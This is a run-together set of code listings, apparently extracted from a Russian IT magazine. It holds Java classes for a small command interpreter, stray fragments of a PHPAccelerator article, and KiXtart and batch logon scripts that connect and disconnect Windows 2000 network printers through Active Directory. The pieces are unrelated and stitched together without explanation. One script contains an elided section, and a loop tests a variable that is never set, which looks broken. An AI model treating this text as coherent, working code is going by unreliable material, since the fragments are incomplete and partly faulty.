cmd.getDescription(name); sb.append(name + "\t" + descr); if (names.hasMoreElements()) { sb.append(CRLF); } } if (sb.length() > 0) { return sb.toString(); } else { return null; } } case 1: { // Один параметр - возвращаем полную справочную // информацию по команде, указанной в качестве // параметра. String name = (String) parameters.get(0); Hashtable commands = interpreter.getCommands(); Command cmd = (Command) commands.get(name); if (cmd == null) { throw new UnknownCommandError(name); } return cmd.getHelp(name); } default: throw new SyntaxError(); } } public String getDescription(String name) { return "Prints help infomation."; } public String getHelp(String name) { return "Prints help infomation." + CRLF + "Syntax: " + name + " [command]"; } private Interpreter interpreter; private final static String CRLF = System.getProperty("line.separator"); } package simplecli.command; import java.util.*; import simplecli.*; import simplecli.error.*; public class RegisterCommand implements Command { public RegisterCommand(Interpreter interpreter) { this.interpreter = interpreter; } public String run(Properties context, ArrayList parameters) throws SyntaxError, KnownCommandError, ClassNotFoundError, ClassCastError { if (parameters.size() != 2) { throw new SyntaxError(); } String name = (String) parameters.get(0); String clazzName = (String) parameters.get(1); Hashtable commands = interpreter.getCommands(); if (commands.containsKey(name)) { throw new KnownCommandError(); } Class clazz = null; try { clazz = Class.forName(clazzName); } catch (ClassNotFoundException cnfe) { throw new ClassNotFoundError(); } Command command = null; try { command = (Command) clazz.newInstance(); } catch (Exception e) { throw new ClassCastError(); } commands.put(name, command); return null; } public String getDescription(String name) { return "Registers new command."; } public String getHelp(String name) { return "Registers new command." + CRLF + "Syntax: " + name + " command class"; } private Interpreter interpreter; private final static String CRLF = System.getProperty("line.separator"); } import java.util.*; import simplecli.*; import simplecli.error.*; public class UnregisterCommand implements Command { public UnregisterCommand(Interpreter interpreter) { this.interpreter = interpreter; } public String run(Properties context, ArrayList parameters) throws SyntaxError, UnknownCommandError { if (parameters.size() != 1) { throw new SyntaxError(); } String name = (String) parameters.get(0); Hashtable commands = interpreter.getCommands(); if (commands.remove(name) == null) { throw new UnknownCommandError(); } return null; } public String getDescription(String name) { return "Unregisters command."; } public String getHelp(String name) { return "Unregisters command." + CRLF + "Syntax: " + name + " command"; } private Interpreter interpreter; private final static String CRLF = System.getProperty("line.separator"); } package simpleclitest; import java.io.*; import simplecli.*; public class BaseInterpreterTest { public static void main(String[] args) throws IOException { System.out.println("BaseInterpreter testbed"); BufferedReader in = new BufferedReader( new InputStreamReader(System.in)); PrintWriter out = new PrintWriter(System.out, true); Interpreter interpreter = new BaseInterpreter(); interpreter.interpret(in, out, out); } } Оптимизация работы PHP при помощи PHPAccelerator Андрей Уваров zend_extension=/usr/local/lib/phpa/php_accelerator_1.3.3r2.so array(3) { ["ENABLED"]=> bool(true) ["iVERSION"]=> int(10302) ["VERSION"]=> string(5) "1.3.2" } bugtraq стр. 80 Управление сетевой печатью в Windows 2000 Часть 2 Иван Коробко $rootDSE_ = GetObject("LDAP://RootDSE") $domain_ = "LDAP://" + $rootDSE_.Get("defaultNamingContext") SELECT поле_1, поле_2, …, поле_n FROM “LDAP://dc=домен_1,dc=домен_2…,domen_n” WHERE objectClass=’тип_объекта’ $strADSQuery = "SELECT shortservername, portname, servername, printername, printsharename, location, description FROM '" +$domain_+"'WHERE objectClass='printQueue'" $objConnection = CreateObject("ADODB.Connection") $objCommand = CreateObject("ADODB.Command") $objConnection.CommandTimeout = 120 $objConnection.Provider = "ADsDSOObject" $objConnection.Open ("Active Directory Provider") $objCommand.ActiveConnection = $objConnection $objCommand.CommandText = $strADSQuery $st = $objCommand.Execute $st.Movefirst $i=0 Do $server_enum="" $name_enum="" $shares_enum="" $description_enum="" $server_enum = $St.Fields("shortservername").Value $name_enum = $St.Fields("printername").Value $shares=$St.Fields("printsharename").Value for each $share in $shares $shares_enum = $shares_enum + $share next $descrs=$St.Fields("description").Value for each $desc in $descrs $description_enum = $description_enum + $desc Next $st.MoveNext $temp="Название принтера: " & $name_enum & chr(13) & "Путь к принтеру: " & "\\" & $server_enum & "\" & $shares_enum & chr(13) & "Описание: " & $description_enum. MessageBox($temp,"Характеристики принтера",0,0) $temp="" Until $st.EOF $path_enum_connect = "\\" + $server_enum + "\" + $shares_enum $connect_flag = addprinterconnection( $path_enum_connect ) if $connect_flag=0 $path_full =",," + $server_enum + "," + $name_enum $print_sysinfo=$print_sysinfo+$shares_enum+": "+$description_enum+chr(13) $access_array[$i] = lcase($path_full) $i=$i+1 Endif $Index=0 DO $connected_array[$index]= lcase(ENUMKEY("HKEY_CURRENT_USER\Printers\Connections\", $Index)) $Index = $Index + 1 UNTIL Len($Group) =0 for $i=0 to ubound($connected_array) $flag_p=0 $flag_p=Ascan($access_array,$connected_array[$i]) if $flag_p=-1 ……….. endif next if $flag_p=-1 $group=$connected_array[$i] $name_=right($group, len($group)-instrrev($group,",")) $server_=right(left($group,len($group)-len($name_)-1),len(left($group,len($group)-len($name_)-1))-2) $share_=readvalue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Providers\LanMan Print Services\Servers\"+$server_+"\Printers\"+$name_,"Share Name") $disconnect_ ="\\"+$server_+"\"+$share_ $r=DelPrinterConnection( $disconnect_ ) endif Листинг файла start.bat @ECHO OFF if c:\%os%==c:\ goto win9x if not c:\%os%==c:\ goto winnt :winnt start /wait Kix32.exe Script.kix goto kix :win9x copy %0\..\win9x\*.dll c:\windows\system /y %0\..\Kix32.exe %0\..\Script.kix goto kix :kix @echo End Of Batch File Листинг сценария загрузки script.kix $rootDSE_ = GetObject("LDAP://RootDSE") $domain_ = "LDAP://" + $rootDSE_.Get("defaultNamingContext") $strADSQuery = "SELECT shortservername, portname, servername, printername, printsharename, location, description FROM '" +$domain_+"' WHERE objectClass='printQueue'" $objConnection = CreateObject("ADODB.Connection") $objCommand = CreateObject("ADODB.Command") $objConnection.CommandTimeout = 120 $objConnection.Provider = "ADsDSOObject" $objConnection.Open ("Active Directory Provider") $objCommand.ActiveConnection = $objConnection $objCommand.CommandText = $strADSQuery $st = $objCommand.Execute $st.Movefirst dim $access_array[200] dim $connected_array[200] $i=0 Do $server_enum="" $shares_enum="" $description_enum="" $server_enum = $St.Fields("shortservername").Value $name_enum = $St.Fields("printername").Value $shares=$St.Fields("printsharename").Value for each $share in $shares $shares_enum = $shares_enum + $share next $descrs=$St.Fields("description").Value for each $desc in $descrs $description_enum = $description_enum + $desc next $path_enum_connect = "\\" + $server_enum + "\" + $shares_enum $connect_flag = addprinterconnection( $path_enum_connect ) if $connect_flag=0 $path_full =",," + $server_enum + "," + $name_enum $print_sysinfo=$print_sysinfo+$shares_enum+": "+$description_enum+chr(13) $access_array[$i] = lcase($path_full) $i=$i+1 endif $st.MoveNext Until $st.EOF $Index=0 DO $connected_array[$index]= lcase(ENUMKEY("HKEY_CURRENT_USER\Printers\Connections\", $Index)) $Index = $Index + 1 UNTIL Len($Group) =0 if $i=0 redim PRESERVE $access_array[0] else redim PRESERVE $access_array[$i-1] endif if $index=1 redim PRESERVE $connected_array[0] else redim PRESERVE $connected_array[$index-2] endif for $i=0 to ubound($connected_array) $flag_p=0 $flag_p=Ascan($access_array,$connected_array[$i]) if $flag_p=-1 $group=$connected_array[$i] $name_=right($group, len($group)-instrrev($group,",")) $server_=right(left($group,len($group)-len($name_)-1),len(left($group,len($group)-len($name_)-1))-2) $share_=readvalue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Providers\LanMan Print Services\Servers\"+$server_+"\Printers\"+$name_,"Share Name") $disconnect_ ="\\"+$server_+"\"+$share_ $r=DelPrinterConnection( $disconnect_ ) endif next MessageBox("Подключение сетевых принтеров завершено","",0,0)